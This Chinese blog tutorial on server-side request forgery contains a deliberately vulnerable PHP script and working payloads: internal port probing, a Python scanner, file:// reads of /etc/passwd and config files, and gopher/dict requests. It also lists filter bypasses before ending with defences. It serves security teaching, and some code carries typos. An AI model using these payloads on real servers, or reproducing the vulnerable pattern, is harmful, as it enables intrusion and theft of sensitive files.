• SSRF 服务端请求伪造, 简介,SSRF实验, 漏洞探测, 绕过技巧, SSRF防御


    SSRF 服务端请求伪造

    一, 介绍

    SSRFServer-Side Request Forgery服务器端请求伪造)是一种恶意网络行为,
    攻击者可以利用这种漏洞发送来自服务器的请求,以访问或操作服务器通常无法访问的内部资源。SSRF通常存在于应用程序中,该应用程序接受用户提供的URL,并基于该URL发出服务器端的HTTP请求。

    二, php常用请求函数

    1. file_get_contents()
    // 直接访问一个URL地址,并输出结果
    $resp = file_get_contents("http://192.168.112.188/security/login.html");
    echo $resp;
    
    • 1
    • 2
    • 3
    2. fsockopen()
    // 实例化一个到www.baidu.com:80的连接,超时时间30秒
    $fp = fsockopen("www.baidu.com", 80, $errno, $errstr, 30);
    $fp = fsockopen("192.168.112.188", 80, $errno, $errstr, 30);
    // 拼接HTTP请求头
    $out = "GET /security/login.html HTTP/1.1\r\n";
    $out .= "Host: 192.168.112.188\r\n";
    $out .= "Connection: Close\r\n\r\n";
    // 将请求头写入$fp实例开始发送
    fwrite($fp, $out);
    // 按行读取响应并输出
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    3. curl_exec()

    GET请求

    $ch = curl_init();  // 创建一个cURL资源,GET请求
    // 设置URL和选项
    curl_setopt($ch, CURLOPT_URL, "http://192.168.112.200/index.html");
    curl_setopt($ch, CURLOPT_HEADER, 0); // 不返回响应头信息
    curl_exec($ch);     // 抓取URL并把它传递给浏览器
    curl_close($ch);    // 关闭cURL资源,并且释放系统资源
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    POST请求

    $url = 'http://192.168.112.200/security/login.php';
    $data = 'username=root&password=root&vcode=0000';
    
    $ch = curl_init();
    $params[CURLOPT_URL] = $url;            // 请求url地址
    $params[CURLOPT_HEADER] = false;        // 是否返回响应头信息
    $params[CURLOPT_RETURNTRANSFER] = true;  // 是否将结果返回
    $params[CURLOPT_FOLLOWLOCATION] = false; // 是否重定向
    $params[CURLOPT_TIMEOUT] = 30;          // 超时时间
    $params[CURLOPT_POST] = true;           // 本次发送POST请求
    $params[CURLOPT_POSTFIELDS] = $data;    // 给POST请求正文赋值
    $params[CURLOPT_SSL_VERIFYPEER] = false;// 请求https时,不验证证书
    $params[CURLOPT_SSL_VERIFYHOST] = false;// 请求https时,不验证主机
    curl_setopt_array($ch, $params);        //传入curl参数
    $content = curl_exec($ch);              //执行
    echo $content;
    
    //判断是否存在客户端JS重定向
    if (stripos($content, 'location.href') === false)
        echo $content;
    else
        die("ERROR");
    
    curl_close($ch);                        //关闭连接
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    三, SSRF 漏洞实验

    SSRF的利用条件:URL地址可控, 后台页面没有对URL进行正确的校验, 在页面当中最好有输出

    1. 准备php漏洞脚本 ssrf.php

    方式一: file_get_contents()函数:

    $url = $_GET['url'];
    $resp = file_get_contents($url);
    echo $resp;
    
    • 1
    • 2
    • 3

    方式二: curl请求:

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $content = curl_exec($ch);
    echo $content;
    curl_close($ch);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    2. 利用漏洞脚本发送恶意请求
    (1)探测目标地址中的其他内网主机和端口是否开启
    http://192.168.112.200/security/ssrf.php?url=192.168.112.203
    http://192.168.112.200/security/ssrf.php?url=192.168.112.202:22
    http://192.168.112.200/security/ssrf.php?url=192.168.112.202:3306
    
    • 1
    • 2
    • 3

    也可以用burpsuite爆破, 或python扫描内网ip或端口

    import requests
    for i in range(1255):
        try:
            resp = requests.get(f'http://192,168.112.200/security/ssrf.php?url=http://192.168.112.{i}', timeout=2)
            if 'file_get_contents' not in resp.text and 'warning' not in resp.text:
                print(f'192.168.112.{i} is online")
        except:
            pass
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    SSRF 漏洞可用于从公网扫描内网主机。如果攻击者能够利用某个公网应用的SSRF漏洞,他们可能会尝试扫描以下私有IP地址段,这些地址段被保留用于内网环境:

    A类地址:10.0.0.0 ~ 10.255.255.255
    B类地址:172.16.0.0 ~ 172.31.255.255
    C类地址:192.168.0.0 ~ 192.168.255.255
    
    • 1
    • 2
    • 3

    除了这些私有地址,攻击者还可能尝试扫描本地回环地址(127.0.0.0/8),自动分配地址(169.254.0.0/16),以及其他一些特殊用途的地址。

    扫描常见的端口, 例如 HTTP(80, 443),数据库服务(如 MySQL 的 3306,MSSQL 的 1433),以及其他常用的服务端口。

    利用子网掩码, 通常会按 192.168.112.0/24(192.168.112.1 ~ 192.168.112.254)
    192.168.0.0/16(192.168.0.1 ~ 192.168.255.254) 来扫描.

    (2)file://协议读取服务器敏感文件

    在后端使用了 curl 方式请求才有效.

    http://192.168.112.200/security/ssrf.php?url=file:///etc/passwd
    http://192.168.112.200/security/ssrf.php?url=file:///opt/lampp/etc/my.cnf
    
    • 1
    • 2

    四, SSRF 漏洞探测

    1. 从目标站点的url参数中寻找

    share、wap、url、link、src、source、target、u、display、sourceUrl、imageURL、domain 等参数.

    2. 从web页面的功能中寻找

    这些功能因为涉及到服务器对外部或者用户提供的URL进行请求,所以可能存在SSRF漏洞。
    这些功能包括分享网页内容、转码服务、在线翻译、图片加载与下载、内容收藏,以及一些未公开或者内部的API调用。

    (1)分享功能:

    如果应用程序在未经验证的情况下获取用户提供的URL中的内容(如标题或描述),可能被利用来构造请求内部网络中的敏感资源。

    (2)转码服务:

    当应用程序把第三方网页内容转码以适应移动设备时,如果对用户输入的URL未做安全检查,可能被用来访问内部系统。

    (3)在线翻译:

    类似地,如果翻译服务对用户提供的URL没有进行严格的过滤和校验,那么这些URL可能会被利用来探查内部网络或访问受限资源。

    (4)图片加载与下载:

    图片处理服务在对远程图片进行获取、处理(如添加水印、压缩)时,如果不限制请求的目标地址或不验证图片来源,可能导致SSRF漏洞。

    (5)内容收藏功能:

    收藏文章或图片功能如果直接使用用户提供的URL来抓取内容,没有适当的安全措施,这可能允许攻击者通过特制的URL访问或操作内部服务。

    (6)未公开的API与其他URL调用功能:

    内部或未公开的API,如果可以通过外部请求触发,并且这些请求中包含对外部资源的调用,而这些调用未经严格控制,那么就可能存在SSRF风险。

    3. 根据响应的内容判断

    SSRF漏洞的利用和发现确实会受到其回显信息的影响,这对于安全研究人员来说在测试和验证时是个重要的因素。

    根据返回内容的不同,SSRF攻击可以分类为以下三种:

    (1)完全回显:

    在这种情况下,服务器对外部URL请求的响应会直接返回给用户。这意味着攻击者可以直接看到请求的结果,例如网页代码、服务器头信息等。
    这使得攻击者能够很容易地识别和利用SSRF漏洞,因为他们可以直接观察到请求的效果。

    (2)半回显:

    半回显SSRF漏洞不会完全显示服务器响应的全部内容,但可能会透露一些有价值的信息,例如页面的标题、图片或部分选定的数据。
    攻击者可以使用这些信息推断出请求的部分内容或者服务器的状态。虽然不如完全回显直接,但这类SSRF漏洞仍然可以为攻击者提供有用的信息。

    (3)无回显:

    这是最难利用的SSRF类型,因为攻击者无法直接看到由他们的请求造成的结果。
    它们可能需要依靠其他的副作用来推断攻击是否成功,例如根据页面加载时间、通过错误消息、间接的日志文件或者通过第三方的系统变化等。
    这类SSRF攻击通常比较难以发现和验证,需要更高级的技巧和深入的了解目标系统的行为。

    在探测SSRF漏洞时,即使是无回显的情况,也可以采取一些策略来识别和利用它们:

    时间差攻击:

    通过测量请求的响应时间,攻击者可能能够判断内部系统的响应。

    错误消息:

    即使不回显数据,错误消息有时也会泄露信息,攻击者可以利用这些信息。

    辅助通道:

    利用DNS查询、系统日志、第三方服务等来检测和利用SSRF漏洞。

    例如使用 ceye , 或租用公网服务器,查看访问日志

    端口扫描技术:

    通过观察不同端口的连接行为,可以推断出内部网络结构和服务的存在。

    五, SSRF利用协议总结

    1. http

    http可以访问其他内网IP的服务器,也可以做任意URL跳转nttp://examplesite/ssrf.php?url=http://www.baidu.com

    2. file

    file协议主要用于访问本地计算机中的文件
    http://examplesite/ssrf.php?url=file://127.0.0.1/flag.php

    下面两种协议file_get_contents()不能支持.

    3. gopher

    gopher是一种分布式的文档传递服务。它允许用户以无维的方式探索、搜索和检索驻留在不同位置的信息。
    可以构造各种HTTP请求包,所人gopher在SSRF漏洞利用中充当万金油的角色。
    http://examplesite/ssrf.php?url=gopher://127.0.0.1:3333/_test

    4. dict

    dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
    http://examplesite/ssrf.php?ur1=dict://127.0.0.1:3306/info

    六, SSRF 绕过技巧

    1. 使用十进制的ip地址

    在线工具: https://www.bejson.com/convert/ip2int/
    192.168.112.202 -> 3232264394

    http://192.168.112.200/security/ssrf.php?url=http://3232264394
    
    • 1
    2. 重新构造url地址

    http://www.baidu.com@192.168.112.202

    http://192.168.112.200/security/ssrf.php?url=http://www.baidu.com@192.168.112.202
    
    • 1

    前面的 www.baidu.com 如果属于白名单的域名, 就可以绕过再访问目标 192.168.112.202 .

    3. 使用短网址

    使用短网址平台, 比如百度短网址, 将目标网址转换.
    请求会重定向到目标网址.

    七, SSRF 防御

    1. 限制可控参数传递的url的协议.

    要求url参数的值必须以httphttps开头.

    $url = $_GET['url'];
    // 严格检查URL是否以http或https开头
    if (stripos($url, 'http://') === 0 || stripos($url, 'https://') === 0) {
        echo "Good Protocol";
    } else {
        echo "Error Protocol";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    2. 设置URL或IP地址白名单,非白名单不允许访问
    3. 限制内网IP访问,比如URL地址不能以10.0, 172.16, 192.168开头等
    4. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态

    或禁用代码的报错信息, 比如函数前加@: @file_get_contents(), 或直接使用 error_reporting(0) 关闭所有报错.

    5. 禁用重定向操作(服务器端客户端均需要过滤)
    6. 限制请求的端口,比如 80, 443, 8080, 8090
    7. 后台服务器最好禁止远程用户指定的请求,让参数不可控.
    8. 通过后台服务器远程去对用户指定或者预埋在前端的请求”的地址进行资源请求,则请做好目标地址的过滤。
  • 相关阅读:
    学习路之PHP--laravel数据库迁移
    高校寻物平台小程序的设计
    小程序中实现搜索功能
    Redis设计与实现(三)| 服务器与客户端的交互(事件IO模型)
    【C++重点语法下】可变参数模板,STL里面的push_back和emplace_back区别 ,包装器function,bind
    【性能优化】(域名发散)为什么主页面和静态资源要置于不同的域名下?
    【Vagrant】使用 Vagrant 快速创建多台 centos7 虚拟机
    Windows 找不到文件'(null)'.请确定文件名是否正确后,再试一下.要搜索文件,如何解决?
    算法刷题 week4
    cython_bbox库就该这么安装
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134268428